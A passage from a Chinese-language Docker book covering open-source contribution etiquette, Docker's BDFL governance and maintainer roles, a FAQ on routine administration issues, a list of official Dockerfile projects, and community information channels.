首先，自信。开源就是开放，任何人都有自由提出自己的观点建议，观点建议无好坏之分，只有适不适合这个开源项目之分，所以大胆向开源项目提出你的idea，大胆参与交流，大胆提补丁。只要参与进来，开源社区是一个能让你迅速成长起来的平台，因为这里有一大帮热心的大牛review你的design，review你的code，你有什么错误，有什么考虑不周的地方，能迅速给你指出来。

其次，尊重。相互尊重这是底线，因为参与开源社区的是世界各地的人，因此要尊重文化差异，要尊重他人的工作成果，尊重任何一人发表的任何一个观点。如果自己的patch被拒，也要尊重Maintainer的决定，毕竟开源项目也同样不能满足所有人，但可以持续沟通发表自己的意见。

再则，语言。国际上的交流大部分是英文，Docker开源社区也不例外。可能不少人在这方面有障碍，但是不能因为这个障碍而不去交流。在交流过程中，不要纠结于语法、句法、单词的拼写，而应该想办法把你的意思表达出来。

14.4　Docker项目的组织架构

开源项目的成功也取决于开源项目的管理，因为参与开源项目的是来自世界各地的开发人员，这些开发人员有的来自公司，有的来自研究机构，有自由职业者，也有学生等，不同的人抱着不同的诉求来参与社区，诉求的差异必然会引起冲突和分歧，这也意味着会给开源项目带来风险。因此怎样将这样一个庞大的、诉求各异的开发者有效地组织起来也决定着开源项目是否成功。要管理好一个开源项目，有两个重要的方面：法律框架和管理模型。法律框架就是开源许可证，许可证阐明了不同参与者的权利和义务；而管理模型是由一些规则流程和文化组成。常见的Apache开源项目是由软件基金会和项目分开运作的，他们会通过统一共识来做出决策，软件基金董事会有最终的决策权。Docker开源项目与此不同，Docker开源项目有一个个人领导者，他的角色被称为“仁慈的独裁者”，这意味着他可以对一切事情做最终决策，而之所以称为“仁慈的”，是因为他的决策是基于整个社区意见的。

14.4.1　管理模型

Docker这个项目由众多的Maintainer维护，这些Maintainer大多数来自Docker公司，其他的来自Redhat、IBM、Google、CoreOS等。不同的Maintainer职责不一样，但是他们有以下三个共同点：

·承担着使项目成功的责任；

·都长期花费着时间和精力来提升整个项目；

·他们花费那些时间来做他们必须做的而不是他们感兴趣的事情。

Docker项目的管理采用的是一个不完全公平但高效的机制，叫做仁慈的独裁者（BDFL），这位仁慈的独裁者的角色就是Docker的创始人Solomon Hykes。这意味着所有的决策都是默认由Solomon Hykes做出的，但是实际中每个决策都由Solomon来做肯定是不现实的，因此就制定了一套明确的规则来确定哪些人有责任做出哪些决策，因此有些决策就延伸到了其他Maintainer上，BDFL则保证规则的正确性。

BDFL的日常工作包括以下内容：

1）确保项目的管理能保证项目的健康发展，当项目出现问题有分裂风险或者阻塞风险，则重构项目的管理方式；

2）确保项目不存在逐步升级的冲突或问题，如果这样的问题出现则积极解决。

Docker的决策是怎样做出的？最简单答案就是：一切都是Pull Request。Docker是一个有着开放设计哲学的开源项目，项目的所有东西都是代码库中的一部分，代码库不仅仅包含了项目的代码，还包括了这个项目的设计哲学、管理模型、路标，只要是项目的一部分，它就在这个代码库中，只要是在这个代码库中，就是这个项目的一部分。因此所有的决策都是以代码库的修改体现出来的，要修改一个特性的实现，你就去修改源码，要修改一个API你就去修改API的规格说明，要修改设计哲学，你就去修改哲学宣言等。对于Docker的所有修改，无论大小，都通过以下三个步骤完成：

1）创建一个Pull Request，任何人都可以做。

2）讨论这个Pull Request，任何人都可以做。

3）合入或者拒绝这个Pull Request，谁有权力做这个事取决于Pull Request的本质和这个Pull Request将影响Docker的哪个方面。

14.4.2　组织架构

Docker的组织由BDFL、架构师、Maintainer、运营人员构成，这些人员履行自己的职责来确保Docker这个项目正常的运转。

BDFL和首席架构师：Solomon Hykes

作为项目的创始人，Solomon Hykes就是整个项目BDFL，也是首席架构师。他负责这个项目的整体架构，对UI、API、架构（如插件系统）的修改都必须获得Solomon Hykes的同意。

首席Maintainer

首席Maintainer的职责是负责整个项目的质量，如代码审查，确定其可用性、稳定性、安全性、性能等。

核心Maintainer

核心Maintainer对于技术的实现和代码风格有最终的话语权，当这个项目出现其他人解决不了的问题时，他们就出现并解决这个问题，他们对代码的质量有最终的责任，确保代码的可用性、性能、稳定性等。

子系统Maintainer

随着项目的成长，项目不断分化出子系统。现在Docker的子系统包括文档、Libcontainer、Registry、build tools、remote API、swarm、machine、compose、builder。每个子系统都有特定的Maintainer来负责，子系统的Maintainer可能也是核心Maintainer。当你的PR跟某个子系统相关时，需要ping一下这个子系统的Maintainer提醒他们来审查。每个子系统的Maintainer的职责是：

1）公布一个清晰的路线图；

2）对于影响这个子系统的PR能迅速反馈；

3）在Github、IRC和邮件列表中回答任何有关他们子系统的问题；

4）确保他们的子系统遵从这个子系统的哲学、设计和路线图。

首席运营官

首席运营官负责项目日常的运营，包括以下方面：

·促进所有项目贡献者之间的交流；

·跟踪项目发布的计划；

·确保各大Linux发行版能正常安装主线的Docker，不会受阻于包依赖问题；

·帮助新的贡献者成为一个成功的贡献者或Maintainer；

·管理和评估整个项目，确保整个项目在DGBA（Docker管理咨询委员会）的管理下正常运营。

运营人员

运营者确保项目正确的运营，他们负责整个项目的具体运营。他们的职责包括促进所有参与者的交流，帮助新的开发者成为一个成功的贡献者或Maintainer，跟踪版本发布的计划，管理下游的发布和上游的依赖，定义一些衡量项目成功的衡量规则和衡量进度，设计和实现一些工具或者流程使贡献者和Maintainers更高效的工作。运营人员包括安全方面的运营人员、月度会议的运营人员、基础架构的运营人员、社区运营人员。

社区经理

社区经理的职责是为项目的社区服务，包括用户、贡献者和合作者，促进Maintainer、贡献者和用户之间的交流，组织贡献者和Maintainer之间的活动，帮助新的贡献者参与进来。所有的贡献者如果有问题或反馈可以直接联系社区经理。

社区监管者

社区监管者的责任是确保新创建的PR和Issue被正确的分类，以及贡献者的工作都得到了必要的重视和尊重，此外，还要引导社区参与者参与相应的讨论。他们不是代码或者文档审查者，所以他们没有代码合入的权限，但是他们有权限关闭雷同的、不合适的或者脱离主题的PR或者Issue。

Docker是当前炙手可热的开源项目，依靠上述的这些规则和Maintainer可将世界各地的参与Docker开发的开发者有效地组织管理起来，促使Docker项目走向成功。

14.5　本章小章

本章介绍了如何改进Docker，怎样搭建Docker开发环境，怎样参与社区交流和Docker的组织架构，相信读者了解这些之后会知道怎样去参与Docker这个开源项目。开源项目的成功离不开大家的共同参与，相信越来越多的人会参与到Docker这个开源项目，为项目的成功贡献自己的力量。

附录A　FAQ

1）Docker是否免费？

Docker项目在Github上开源，且完全免费。

2）Docker使用什么开源license？

Docker使用Apache License V2.0，更详细的信息可以参考：https://github.com/docker/docker/blob/master/LICENSE

3）Docker能否运行在Mac OS X或Windows系统上？

Docker client目前支持Linux和Windows，但是Docker engine运行需要使用Linux内核特有的特性，所以目前只能运行在Linux系统上。

Mac OS X和Windows用户可以使用VirtualBox启动Linux虚拟机来运行Docker。具体可参考官方安装指南，其中详细描述了Mac OS X和Windows的Docker安装步骤：https://docs.docker.com/installation/。

4）Docker目前支持哪些平台？

Docker目前支持的Linux系统包括：

·Ubuntu 12.04、Ubuntu 13.10、Ubuntu 14.04、Ubuntu 15.04

·Debian 8.0 Jessie/Debian 7.7 Wheezy（64-bit）

·Fedora 20+

·FrugalWare

·RHEL 7

·Centos 7.X

·Gentoo

·Oracle Linux 6/7

·ArchLinux

·OpenSUSE 12.3+/SLES 12+

·CRUX 3.0+

Docker目前支持的云平台包括：

·Amazon EC2

·Joyent Public Cloud

·Google Cloud Platform

·IBM SoftLayer

·Microsoft Azure Platform

·Rackspace Cloud

5）容器退出时会丢失数据吗？

不会。应用程序写入磁盘的数据在用户显式地执行容器删除操作之前都不会丢失（即使容器在运行过程中重启系统，数据也不会丢失），容器中的文件系统在容器停止后仍然会被基础系统保存。

6）容器技术的扩展性怎么样？

目前世界上的很多大型服务器集群都是基于容器技术进行部署的。Google公司很早就开始使用容器技术，现今几乎所有的Google服务都运行在容器中，包括其网络前端服务、基础信息系统Bigtable和Spanner、批处理框架MapReduce和Millwheel等。Twitter公司也使用容器技术来部署所有的应用基础设施。各大互联网公司正是由于容器技术的轻量级和可扩展性，才选择使用容器技术来承载其大型服务。

7）怎样在Docker容器之间建立连接？

推荐使用Docker提供的link参数在Docker容器之间建立连接，具体方式可以参考Docker命令中关于link参数的介绍。

也可以使用ambassador的方式间接地在容器之间建立连接，这样可以使服务的迁移和扩展更加灵活。使用ambassador的方式可参考如下链接：

https://docs.docker.com/articles/ambassador_pattern_linking/。

8）怎样在Docker容器中运行多个进程？

可以使用进程管理工具如supervisord、runit、s6或daemontools来启动多个进程。Docker会启动后台的进程管理工具，并创建一个额外进程，只要容器中的进程管理工具还在运行，该进程就可以继续执行。

9）使用Docker时发现的安全问题要怎样上报？

可以通过如下链接了解Docker的安全策略：

https://www.docker.com/docker-security。

发现的安全问题可以通过该邮件列表反馈：security@docker.com。

10）为什么对Docker社区的代码提交需要使用DCO签名？

DCO（Developer’s Certificate of Origin）是Docker从Linux内核开发社区借鉴的一种版权认证方式。代码贡献者只需要在所提交的代码开头增加一行DCO签名，就可以表明代码的版权所有属于开发者，而非Docker公司。代码贡献者则应该要保证代码是完全独立开发的，或者是基于符合对应开源协议的代码进行开发的，并且确认自己有权限将对应代码提交到社区；另外贡献者也应该意识到，代码提交后就会作为开源软件完全公开。

11）构建镜像时，应该使用系统库还是将依赖文件打包？

几乎所有的程序都会依赖第三方库，多数情况下程序会使用动态链接库，多个程序使用同一个库时，该库只需要被安装一次。而有些程序可能会依赖特定版本的库文件，需要将依赖的所有库文件打包才能够保证程序的正常执行。

使用系统动态链接库的关键原因并不在于节省磁盘或内存空间，而是在于保证系统安全性。所有的Linux发行版都十分看重安全性，并有专门的安全团队跟踪暴露出的系统漏洞并寻找解决方案，而普通的上游开发者可能无法做到这一点。因此，在选择使用将库文件打包的方式制作Docker镜像之前，首先应该确认包的制作者能否提供安全保证，若暴露出安全漏洞能否及时解决并更新。如果无法确认这一点，使用这个库文件制作的镜像就会存在安全风险。

12）为什么Dockerfile中不建议使用DEBIAN_FRONTEND=noninteractive参数？

在Debian和Ubuntu的基础上构建镜像时可能会遇到以下错误：

unable to initialize frontend: Dialog

该错误告知用户安装的进程无法打开对话框，但是并不会阻塞镜像的构建过程，可以忽略且不影响镜像的制作。

在Dockerfile中修改DEBIAN_FRONTEND环境变量可以避免这一错误提示：

ENV DEBIAN_FRONTEND=noninteractive

DEBIAN_FORNTEND设置为noninteractive后，安装程序便不会试图打开对话框，上述错误提示就不会出现。但这样做也有风险：任何以该镜像为基础镜像制作的容器和镜像都会继承该环境变量，而使用这些容器进行交互式的软件安装时会因无法打开对话框而出错。因此，构建镜像时尽量不要指定该环境变量。如果情况特殊必须指定，最好在镜像制作完成前将该环境变量还原。

13）Docker私有库自签名SSL报错应该怎样处理？

有两种方案可以解决自签名SSL报错的问题：

·在Docker daemon启动时添加“--insecure-registry$REGISTRY_URL”参数，将私有库添加到insecure列表中。

·将签发私有仓库域名SSL证书所使用的CA证书放到指定位置：

/etc/docker/certs.d/$REGISTRY_URL/ca.crt

14）Docker daemon重启后容器无法启动，错误为“device or resource busy”，应该怎么解决？

遇到“device or resource busy”问题可通过手动卸载错误提示中的挂载目录来解决，如：

#umount /var/lib/docker/devicemapper/mnt/$CONTAINER_ID

该错误出现的原因在于重启Docker时没有停止运行中的容器，在重启Docker daemon前显式地停止所有容器可有效避免这一问题。

15）Attach到容器后如何退出？

Attach到容器后可以使用CTRL-P+CRTL-Q按键来退出容器，并且不影响容器中主进程的运行。如果使用CTRL-C会发送SIGKILL信号给容器主进程，可能会导致容器进程终止。

16）怎样修改Docker镜像或容器文件的存储路径？

可以通过以下两种方式修改镜像或者容器文件的存储路径：

·Docker daemon提供了“-g/--graph”参数来设置Docker运行的根目录，默认目录为“/var/lib/docker”。

·使用mount命令将目标目录挂载到“/var/lib/docker”，或者使用软链接将“/var/lib/docker”链接到目标目录。

附录B　常用Dockerfile

Docker公司在Github上维护了一个Dockerfile项目（https://github.com/dockerfile），该项目为一些常见开源软件服务提供Dockerfile和自动构建方案。开发者可以根据该工程中的各服务介绍和Dockerfile来快速开发、测试和部署新的应用程序。

在Dockerfile项目中，每一个仓库都是安全可信赖的自动构建工程，工程对应的地址为https://github.com/dockerfile/$REPO_NAME，其中$REPO_NAME为下面介绍的各个工程的名字。可以使用工程中提供的Dockerfile并参考README.md文件进行相应服务镜像的构建。Dockerfile项目中包括以下工程：

·ubuntu。该工程用于制作Ubuntu镜像，镜像基于Ubuntu 14.04发行版制作，并安装了一些常用的工具。

·ubuntu-desktop。该工程用于制作Ubuntu桌面版的镜像，镜像启动后能够通过VNC访问系统界面。

·go。该工程用于制作提供完整的Go语言开发环境的镜像。

·go-runtime。该工程用于制作提供Go语言运行时环境的镜像，可以作为其他标准Go语言应用的基础镜像。

·java。该工程用于制作提供Java开发环境的镜像。

·nodejs。该工程用于制作提供Node.js开发环境的镜像。

·nodejs-runtime。该工程用于制作提供Node.js运行时环境的镜像，可以作为其他标准Node.js应用的基础镜像。

·nodejs-bower-gulp。Bower是Web客户端编程的包管理系统；Gulp是一种自动化构建工具。二者都是基于Node.js进行开发的。该工程用于制作提供bower和gulp组件的镜像。

·nodejs-bower-gulp-runtime。该工程用于制作提供Node.js gulp运行时环境的镜像，可以作为其他Node.js gulp应用的基础镜像。

·nodejs-bower-grunt。Grunt是一种基于Node.js的自动化构建工具，支持插件并拥有非常庞大的生态系统。该工程用于制作提供Node.js grunt组件的镜像。

·nodejs-bower-grunt-runtime。该工程用于制作提供nodejs grunt运行时环境的镜像，可以作为其他Node.js grunt应用的基础镜像。

·python。该工程用于制作提供Python开发环境的镜像。

·python-runtime。该工程用于制作提供Python运行时环境的镜像，可以作为其他标准Python应用的基础镜像。

·celery。Celery是一种基于分布式消息传递的异步任务队列，使用Python语言开发。该工程用于制作提供Celery组件镜像。

·ansible。Ansible是一款能够配置和管理多台机器的软件平台，支持多节点软件部署、临时任务执行和配置管理，Ansible基于Python语言开发。该工程用于制作提供Ansible组件的镜像。

·ruby。该工程用于制作提供完整Ruby语言开发环境的镜像。

·ruby-runtime。该工程用于制作提供Ruby运行时环境的镜像，可以作为其他标准Ruby应用的基础镜像。

·fpm。FPM是一款包管理和转换工具，可以将目录、rpm包、python eggs、rubygem转化为rpm、deb等类型包。该工程用于制作提供FPM组件的镜像。

·dart。Dart是Google开发的一种Web编程语言。该工程用于制作提供完整dart开发环境的镜像。

·dart-runtime。该工程用于制作提供dart语言运行时环境的镜像，可以作为其他dart应用的基础镜像。

·julia。Julia是一种用于技术计算的高性能高级编程语言。该工程用于制作提供julia开发环境的镜像。

·nginx。Nginx是一款轻量级Web服务器和代理服务器，也可以作为电子邮件代理服务器。该工程用于制作提供Nginx服务的镜像。

·elasticsearch。Elasticsearch是一款基于Lucene的搜索服务，可以提供分布式、多租户的全文本搜索引擎。该工程用于制作提供Elasticsearch服务的镜像。

·rabbitmq。RabbitMQ是一种基于AMQP协议的企业级消息传递系统，使用Erlang语言开发。该工程用于制作提供RabbitMQ服务的镜像。

·haproxy。HAProxy是一款高可用的负载均衡和代理服务，能够将TCP和HTTP应用程序转发到多个服务器后端。该工程用于制作提供HAProxy服务的镜像。

·nsq。NSQ是一款分布式的实时消息传递平台。该工程用于制作提供NSQ组件的镜像，可以通过执行相应命令来启动nsqd节点或nsqlookupd服务发现。

·ghost。Ghost是一款使用JavaScript开发的开源博客平台。该工程用于制作提供Ghost服务的镜像。

·chrome。该工程用于制作提供Google Chrome浏览器功能的镜像，容器启动后可以通过VNC连接到指定地址使用Chrome浏览器。

·supervisor。Supervisior是一种基于C/S模型的进程控制系统，可以用于查看和控制类UNIX操作系统中的多个进程。该工程用于制作提供supervisord服务的镜像。

·mysql。MySQL是一种开源的关系型数据库管理系统。该工程用于制作提供MySQL数据库服务的镜像。

·mariadb。MariaDB是由开源社区维护的MySQL数据库分支，与MySQL的API和命令完全匹配。该工程用于制作提供MariaDB数据库的镜像。

·percona。该工程用于制作提供percona-server功能的镜像。percona-server是由Percona公司维护的MySQL数据库的分支，与官方的MySQL保持兼容。

·mongodb。MongoDB是一种跨平台的面向文档数据库，属于NoSQL型数据库。该工程用于制作提供MongoDB数据库的镜像。

·rethinkdb。RethinkDB是一种开源的面向文档数据库，支持分布式，属于NoSQL型数据库。该工程用于制作提供RethinkDB数据库的镜像。

·redis。Redis是一种开源的键值数据库系统，该工程用于制作提供Redis服务的镜像。

附录C　Docker信息获取渠道

用户可以通过如下渠道获取Docker相关信息：

·Docker Github源代码地址

https://github.com/docker/docker

·Docker用户使用指导

http://docs.master.dockerproject.org/userguide/

·Docker用户邮件列表

https://groups.google.com/d/forum/docker-user

·Docker开发者邮件列表

https://groups.google.com/d/forum/docker-dev

·Docker用户IRC

irc：//webchat.freenode.net#docker

·Docker开发者IRC

irc：//webchat.freenode.net#docker-dev

·Stackoverflow中Docker的问题反馈

http://stackoverflow.com/search?q=docker

·Docker twitter账户

http://twitter.com/docker

·Google group-Docker用户

https://groups.google.com/forum/#！forum/docker-user

·Google group–Docker开发者

https://groups.google.com/forum/#！forum/docker-dev